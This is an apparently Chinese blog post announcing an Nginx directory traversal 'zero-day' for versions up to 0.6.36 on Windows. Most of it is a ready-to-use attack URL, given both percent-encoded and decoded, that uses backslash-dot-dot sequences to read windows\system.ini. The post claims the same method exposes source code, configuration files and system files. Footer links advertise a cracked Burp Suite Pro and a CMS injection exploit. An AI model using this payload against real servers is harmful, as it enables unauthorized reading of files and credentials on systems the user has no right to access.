Nginx遍历目录0day

针对版本：<= 0.6.36 测试系统：windows2003服务器通过“../”来操控URL，不仅能遍历web的目录，还能遍历web服务器上的任意目录（包括系统目录)，甚至程序文件的源代码，配置文件，和关键的系统文件。例子：

http://localhost/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem.ini

1	http://localhost/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem.ini

URL解密：

http://localhost/\..\..\..\..\..\..\..\windows\system.ini

1	http://localhost/\..\..\..\..\..\..\..\windows\system.ini

标签：0day , nginx , Nginx 漏洞原文连接：Nginx遍历目录0day 所有媒体，可在保留署名、原文连接的情况下转载，若非则不得使用我方内容。

burpsuite pro v1.4.07破解版 74CMS 人才系统 v3.2 注射 & 全版本通杀进后台